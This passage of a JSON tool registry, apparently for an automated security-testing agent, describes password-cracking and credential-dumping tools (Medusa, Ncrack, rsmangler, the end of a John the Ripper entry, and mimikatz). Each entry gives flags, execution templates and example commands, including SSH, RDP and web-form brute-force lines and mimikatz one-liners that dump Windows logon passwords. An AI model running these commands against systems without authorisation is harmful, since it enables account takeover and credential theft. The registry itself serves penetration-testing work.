        "description": "PRINCE mode (read candidates from FILE)",
        "aliases": [
          "--prince"
        ],
        "flag": "--prince"
      },
      {
        "name": "progress_every",
        "type": "boolean",
        "required": false,
        "description": "emit status line every N seconds",
        "aliases": [
          "--progress-every"
        ],
        "flag": "--progress-every"
      },
      {
        "name": "restore",
        "template_key": "restore",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Restore a previous cracking session",
        "aliases": [
          "--restore"
        ],
        "flag": "--restore"
      },
      {
        "name": "rules",
        "template_key": "rules",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Wordlist mangling rules section",
        "aliases": [
          "--rules"
        ],
        "flag": "--rules"
      },
      {
        "name": "rules_logic",
        "type": "boolean",
        "required": false,
        "description": "apply logic rules",
        "aliases": [
          "--rules-logic"
        ],
        "flag": "--rules-logic"
      },
      {
        "name": "rules_stack",
        "type": "boolean",
        "required": false,
        "description": "stack additional rule(s)",
        "aliases": [
          "--rules-stack"
        ],
        "flag": "--rules-stack"
      },
      {
        "name": "session",
        "template_key": "session",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Session name for save/restore",
        "aliases": [
          "--session"
        ],
        "flag": "--session"
      },
      {
        "name": "show",
        "template_key": "show",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show cracked passwords from pot file",
        "aliases": [
          "--show"
        ],
        "flag": "--show"
      },
      {
        "name": "single",
        "template_key": "single",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Single crack mode using login/GECOS info",
        "aliases": [
          "--single"
        ],
        "flag": "--single"
      },
      {
        "name": "stdin",
        "template_key": "stdin",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Read password candidates from stdin",
        "aliases": [
          "--stdin"
        ],
        "flag": "--stdin"
      },
      {
        "name": "user",
        "type": "boolean",
        "required": false,
        "description": "crack specific user(s) only",
        "aliases": [
          "--user"
        ],
        "flag": "--user"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Wordlist file for dictionary attack",
        "aliases": [
          "--wordlist"
        ],
        "flag": "--wordlist"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "John the Ripper GitHub",
        "url": "https://github.com/openwall/john"
      },
      {
        "label": "John the Ripper Documentation",
        "url": "https://www.openwall.com/john/doc/"
      }
    ],
    "related_tools": [
      "hashcat",
      "hash-identifier"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 512,
      "network": "none",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cracked-passwords",
        "password-candidates"
      ],
      "consumes": [
        "hash-file",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# Medusa — Parallel Network Login Auditor\n\nMedusa is a massively parallel network login auditor designed to brute-force authentication credentials across numerous services. Its modular architecture supports pluggable protocol modules for extensibility.\n\n## Supported Modules\n\n| Module | Service | Default Port |\n|--------|---------|-------------|\n| `ssh` | SSH | 22 |\n| `ftp` | FTP | 21 |\n| `smbnt` | SMB/NTLM | 445 |\n| `web-form` | HTTP Form | 80/443 |\n| `mysql` | MySQL | 3306 |\n| `pop3` | POP3 | 110 |\n| `imap` | IMAP | 143 |\n| `vnc` | VNC | 5900 |\n\n## Threading Model\n\n- `-t` controls threads per host (default 5)\n- Medusa parallelizes across hosts when using `-H`\n- More threads increase speed but may trigger rate limiting\n\n## Module Parameters\n\nUse `-m` to pass module-specific options:\n- `medusa -h target -U users -P pass -M web-form -m FORM:\"/login.php\" -m DENY-SIGNAL:\"Invalid\"`\n- Use `-m` multiple times for multiple parameters\n",
    "_source": "medusa.md",
    "allowed-tools": [
      "medusa",
      "hydra",
      "ncrack",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.crack.results",
        "description": "Brute-force results log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crack.password",
      "security.auth.bruteforce",
      "network.auth.test"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "security.username.list",
          "description": "File containing usernames"
        },
        {
          "type": "security.password.list",
          "description": "File containing passwords"
        }
      ],
      "outputs": [
        {
          "type": "security.valid.credentials",
          "description": "Successfully discovered credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Parallel network login auditor for brute-forcing authentication across multiple protocols and services.",
    "examples": [
      {
        "description": "Brute-force SSH with password list",
        "command": "medusa -h 192.168.1.100 -u root -P passwords.txt -M ssh"
      },
      {
        "description": "Brute-force FTP with username list",
        "command": "medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ftp"
      },
      {
        "description": "Multiple hosts from file with verbose output",
        "command": "medusa -H targets.txt -U users.txt -P passwords.txt -M smbnt -v 4"
      },
      {
        "description": "HTTP form-based authentication",
        "command": "medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M web-form -m FORM:\"/login.php\" -m DENY-SIGNAL:\"Login failed\""
      },
      {
        "description": "Stop on first credential found",
        "command": "medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -f"
      },
      {
        "description": "Extra checks for null and same-as-login",
        "command": "medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -e ns"
      },
      {
        "description": "Save results to file",
        "command": "medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -O results.txt"
      },
      {
        "description": "Custom port and timeout",
        "command": "medusa -h 192.168.1.100 -u admin -P passwords.txt -M mysql -s 3307 -c 10"
      }
    ],
    "execution": {
      "template": "medusa -h {target} -u {username} -P {password-list} -M {module}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "target": "",
      "username": "admin",
      "password-list": "",
      "module": "ssh"
    },
    "id": "security-crack-medusa",
    "install": [
      {
        "method": "apt",
        "package_name": "medusa",
        "commands": [
          "apt-get install -y medusa"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110"
    ],
    "name": "medusa",
    "namespace": "security:crack:medusa",
    "parameters": [
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "File containing colon-separated \"user:pass\" combos",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "Fail wait time in seconds",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "Z",
        "type": "boolean",
        "required": false,
        "description": "Number of seconds to wait between retries",
        "aliases": [
          "-Z"
        ],
        "flag": "-Z"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "Suppress startup banner",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "c",
        "type": "boolean",
        "required": false,
        "description": "Connection timeout in seconds",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "Dump all received data to display",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-H",
        "template_key": "flag-H",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of target hosts",
        "aliases": [
          "-H",
          "--host-list"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-M",
        "template_key": "flag-M",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Service module to use (e.g. ssh, ftp, smbnt)",
        "aliases": [
          "-M",
          "--module"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-O",
        "template_key": "flag-O",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for results",
        "aliases": [
          "-O",
          "--output"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-P",
        "template_key": "flag-P",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of passwords",
        "aliases": [
          "-P",
          "--password-list"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-U",
        "template_key": "flag-U",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of usernames",
        "aliases": [
          "-U",
          "--username-list"
        ],
        "flag": "-U"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Extra checks (n=null, s=same-as-login)",
        "aliases": [
          "-e",
          "--extra"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Stop after first valid credential found",
        "aliases": [
          "-f",
          "--stop-after-first"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target hostname or IP address",
        "aliases": [
          "-h",
          "--host"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Module-specific parameter",
        "aliases": [
          "-m",
          "--module-parameter"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single password to test",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode (suppress banner)",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "integer",
        "required": false,
        "default_value": 3,
        "description": "Number of retries on failure",
        "aliases": [
          "-r",
          "--retry"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Target port number",
        "aliases": [
          "-s",
          "--port"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Number of parallel threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single username to test",
        "aliases": [
          "-u",
          "--username"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "integer",
        "required": false,
        "default_value": 2,
        "description": "Verbose level (1-6)",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "Group number for connection throttling",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "Use numeric UID/GUID for display",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "w",
        "type": "boolean",
        "required": false,
        "description": "Error wait time in seconds",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "Number of seconds to wait between connections",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Medusa GitHub",
        "url": "https://github.com/jmk-foofus/medusa"
      },
      {
        "label": "Medusa Documentation",
        "url": "https://www.kali.org/tools/medusa/"
      }
    ],
    "related_tools": [
      "hydra",
      "ncrack"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "valid-credentials"
      ],
      "consumes": [
        "target",
        "username-list",
        "password-list"
      ]
    }
  },
  {
    "_body": "\n# Ncrack — High-Speed Network Cracker\n\nNcrack is a high-speed network authentication cracking tool built on the Nmap ecosystem. It is designed for rapid credential testing across network services with an emphasis on performance and flexibility.\n\n## Supported Services\n\n| Service | Argument | Default Port |\n|---------|----------|-------------|\n| SSH | `ssh` | 22 |\n| RDP | `rdp` | 3389 |\n| FTP | `ftp` | 21 |\n| HTTP(S) | `http` / `https` | 80/443 |\n| Telnet | `telnet` | 23 |\n| IMAP | `imap` | 143 |\n| POP3 | `pop3` | 110 |\n\n## Performance Tuning\n\n- `-T` — set number of parallel threads\n- `--rate=N` — max attempts per second\n- `--connection-limit=N` — max simultaneous connections\n- `-t 0-5` — timing template (aggressive=5, polite=0)\n\n## Timing Templates\n\n| Template | Name | Description |\n|----------|------|-------------|\n| 0 | Polite | Slows down to avoid detection |\n| 1 | Normal | Default timing |\n| 2 | Aggressive | Faster, more noise |\n| 3 | Crazy | Very aggressive |\n| 4 | Insane | Maximum speed |\n",
    "_source": "ncrack.md",
    "allowed-tools": [
      "ncrack",
      "hydra",
      "medusa",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.crack.results",
        "description": "Brute-force results log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crack.password",
      "security.auth.bruteforce",
      "network.auth.test"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "security.username.list",
          "description": "File containing usernames"
        },
        {
          "type": "security.password.list",
          "description": "File containing passwords"
        }
      ],
      "outputs": [
        {
          "type": "security.valid.credentials",
          "description": "Successfully discovered credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "High-speed network authentication cracking tool for testing credential strength across multiple network services.",
    "examples": [
      {
        "description": "Brute-force SSH with password list",
        "command": "ncrack -u root -P passwords.txt 192.168.1.100:ssh"
      },
      {
        "description": "Brute-force RDP with username list",
        "command": "ncrack -U users.txt -P passwords.txt 192.168.1.100:rdp"
      },
      {
        "description": "Multiple targets from input file",
        "command": "ncrack -i targets.txt -U users.txt -P passwords.txt"
      },
      {
        "description": "Stop after first credential found",
        "command": "ncrack -u admin -P passwords.txt -f 192.168.1.100:ssh"
      },
      {
        "description": "Verbose mode with timing template",
        "command": "ncrack -u admin -P passwords.txt -v -t 3 192.168.1.100:ssh"
      },
      {
        "description": "Custom rate limit and connection limit",
        "command": "ncrack -u admin -P passwords.txt --rate=50 --connection-limit=10 192.168.1.100:rdp"
      },
      {
        "description": "SSL-enabled service on custom port",
        "command": "ncrack -u admin -P passwords.txt --ssl 192.168.1.100:https"
      },
      {
        "description": "Save results to output file",
        "command": "ncrack -u admin -P passwords.txt -o results.txt 192.168.1.100:ftp"
      }
    ],
    "execution": {
      "template": "ncrack -u {username} -P {password-list} {target}:{service}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "username": "admin",
      "password-list": "",
      "target": "",
      "service": "ssh"
    },
    "id": "security-crack-ncrack",
    "install": [
      {
        "method": "apt",
        "package_name": "ncrack",
        "commands": [
          "apt-get install -y ncrack"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110"
    ],
    "name": "ncrack",
    "namespace": "security:crack:ncrack",
    "parameters": [
      {
        "name": "6",
        "type": "boolean",
        "required": false,
        "description": "Use IPv6",
        "aliases": [
          "-6",
          "--ipv6"
        ],
        "flag": "-6"
      },
      {
        "name": "N",
        "type": "boolean",
        "required": false,
        "description": "Suppress Ncrack banner",
        "aliases": [
          "-N",
          "--no-banner"
        ],
        "flag": "-N"
      },
      {
        "name": "connection-limit",
        "template_key": "connection-limit",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum simultaneous connections",
        "aliases": [
          "--connection-limit"
        ],
        "flag": "--connection-limit"
      },
      {
        "name": "flag-P",
        "template_key": "flag-P",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of passwords",
        "aliases": [
          "-P",
          "--password-list"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-T",
        "template_key": "flag-T",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Number of parallel threads",
        "aliases": [
          "-T",
          "--threads"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-U",
        "template_key": "flag-U",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of usernames",
        "aliases": [
          "-U",
          "--username-list"
        ],
        "flag": "-U"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Delay in milliseconds between attempts",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Stop after first valid credential",
        "aliases": [
          "-f",
          "--stop-after-first"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Input file with target specifications",
        "aliases": [
          "-i",
          "--input-file"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single password to test",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "integer",
        "required": false,
        "default_value": 3,
        "description": "Number of retries on connection failure",
        "aliases": [
          "-r",
          "--retries"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Service to test (e.g. ssh, ftp, rdp)",
        "aliases": [
          "-s",
          "--service"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Timing template (0-5, higher is faster)",
        "aliases": [
          "-t",
          "--timing"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single username to test",
        "aliases": [
          "-u",
          "--username"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "log",
        "type": "boolean",
        "required": false,
        "description": "Log messages to file",
        "aliases": [
          "--log"
        ],
        "flag": "--log"
      },
      {
        "name": "m",
        "type": "boolean",
        "required": false,
        "description": "options",
        "aliases": [
          "-m",
          "--module-options",
          "-specific"
        ],
        "flag": "-m"
      },
      {
        "name": "proxy",
        "type": "boolean",
        "required": false,
        "description": "Use proxy (proto://host:port)",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "proxy_auth",
        "type": "boolean",
        "required": false,
        "description": "Proxy authentication credentials",
        "aliases": [
          "--proxy-auth"
        ],
        "flag": "--proxy-auth"
      },
      {
        "name": "rate",
        "template_key": "rate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum attempts per second",
        "aliases": [
          "--rate"
        ],
        "flag": "--rate"
      },
      {
        "name": "spec",
        "type": "boolean",
        "required": false,
        "description": "Service specific options",
        "aliases": [
          "--spec"
        ],
        "flag": "--spec"
      },
      {
        "name": "ssl",
        "template_key": "ssl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use SSL/TLS for connection",
        "aliases": [
          "--ssl"
        ],
        "flag": "--ssl"
      },
      {
        "name": "x",
        "type": "boolean",
        "required": false,
        "description": "Password generation pattern",
        "aliases": [
          "-x",
          "--generate-password"
        ],
        "flag": "-x"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Ncrack GitHub",
        "url": "https://github.com/nmap/ncrack"
      },
      {
        "label": "Ncrack Documentation",
        "url": "https://nmap.org/ncrack/"
      }
    ],
    "related_tools": [
      "hydra",
      "medusa"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "valid-credentials"
      ],
      "consumes": [
        "target",
        "username-list",
        "password-list"
      ]
    }
  },
  {
    "_body": "\n# rsmangler — Wordlist Mangling Tool\n\nrsmangler takes a base wordlist and applies configurable transformation rules — capitalisation, uppercase, leet substitution, prefix/suffix, numeric append, reverse, and more — to produce a much larger set of password candidates for cracking workflows.\n",
    "_source": "rsmangler.md",
    "allowed-tools": [
      "rsmangler",
      "Bash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wordlist",
        "description": "Generated mangled wordlist",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "wordlist.mangle",
      "wordlist.transform",
      "wordlist.generate",
      "wordlist.mutate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wordlist.file",
          "description": "Base wordlist file to mangle"
        },
        {
          "type": "wordlist.rules",
          "description": "Mangling rules to apply"
        }
      ],
      "outputs": [
        {
          "type": "wordlist.file",
          "description": "Mangling-generated wordlist",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Wordlist mangling/generation tool that takes a base wordlist and applies transformation rules to create variants.",
    "examples": [
      {
        "description": "Mangle a wordlist with default rules",
        "command": "rsmangler -i base.txt -o mangled.txt"
      },
      {
        "description": "Capitalise first letter and add numeric suffixes",
        "command": "rsmangler -i base.txt -o mangled.txt -c -n"
      },
      {
        "description": "Add prefix and suffix to every word",
        "command": "rsmangler -i base.txt -o mangled.txt -p \"2024\" -s \"!\""
      },
      {
        "description": "Filter output by length and apply custom rules",
        "command": "rsmangler -i base.txt -l 6 -L 16 -m cap,leet,reverse -o output.txt"
      },
      {
        "description": "Uppercase all words with verbose logging",
        "command": "rsmangler -i base.txt -o output.txt -u -v"
      }
    ],
    "execution": {
      "template": "rsmangler -i {wordlist} -o {output}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "wordlist": "base.txt",
      "output": "mangled.txt"
    },
    "id": "security-crack-rsmangler",
    "install": [
      {
        "method": "apt",
        "package_name": "rsmangler",
        "commands": [
          "apt-get install -y rsmangler"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110",
      "T1555",
      "T1558"
    ],
    "name": "rsmangler",
    "namespace": "security:crack:rsmangler",
    "parameters": [
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "FORMAT      Output format (txt, csv)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-L",
        "template_key": "flag-L",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum word length to output",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Capitalise first letter of each word",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Input wordlist file to mangle",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Minimum word length to output",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Comma-separated mangle rules (cap,leet,reverse,...)",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Append numeric sequences to words",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for mangled wordlist",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Prefix to add to each word",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suffix to add to each word",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of processing threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Convert all words to uppercase",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output during processing",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode (suppress warnings)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "FILE        Load mangle rules from a file",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "rsmangler on Kali",
        "url": "https://www.kali.org/tools/rsmangler/"
      },
      {
        "label": "rsmangler GitHub",
        "url": "https://github.com/digininja/rsmangler"
      }
    ],
    "related_tools": [
      "crunch",
      "cupp",
      "cewl"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wordlist"
      ],
      "consumes": [
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# mimikatz — Windows Credential Extraction\n\nmimikatz is the standard tool for extracting credentials from Windows systems. It operates by reading LSASS process memory, SAM/SECURITY registry hives, and DPAPI master keys.\n\n## Common Commands\n\n| Command | Purpose |\n|---------|---------|\n| `privilege::debug` | Enable SeDebugPrivilege (required) |\n| `sekurlsa::logonpasswords` | Dump plaintext passwords and NTLM hashes |\n| `sekurlsa::tickets /export` | Export Kerberos tickets |\n| `lsadump::lsa /inject` | Dump LSA secrets (KRBTGT hash) |\n| `lsadump::sam` | Dump SAM hashes |\n| `sekurlsa::pth` | Pass-the-hash |\n| `dpapi::masterkey` | Extract DPAPI master keys |\n\n## Requirements\n\n- **Administrator privileges** on the target\n- **SeDebugPrivilege**: Usually held by Administrators\n- **PPL bypass**: Some systems require PPL evasion (e.g., `mimikatz !+`)\n",
    "_source": "mimikatz.md",
    "allowed-tools": [
      "mimikatz"
    ],
    "architectures": [
      "amd64"
    ],
    "attack_types": [
      "CredentialAccess",
      "PrivilegeEscalation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.credential.dump.lsass",
      "security.credential.wdigest",
      "security.credential.ntlm",
      "security.credential.kerberostickets",
      "security.credential.dpapi",
      "security.credential.masterkeys",
      "security.pth",
      "security.ptt"
    ],
    "contract": {
      "inputs": [
        {
          "type": "windows.process.dump",
          "description": "LSASS process dump file"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.dump",
          "description": "Extracted plaintext passwords, hashes, and tickets"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ]
    },
    "dependencies": [],
    "description": "Post-exploitation credential extraction tool that recovers plaintext passwords, NTLM hashes, Kerberos tickets, and DPAPI keys from Windows memory and registry hives.",
    "examples": [
      {
        "description": "One-liner dump all logon passwords",
        "command": "mimikatz \"privilege::debug\" \"sekurlsa::logonpasswords\" exit"
      },
      {
        "description": "Load mimikatz in memory via PowerShell",
        "command": "Invoke-Mimikatz -DumpCreds"
      },
      {
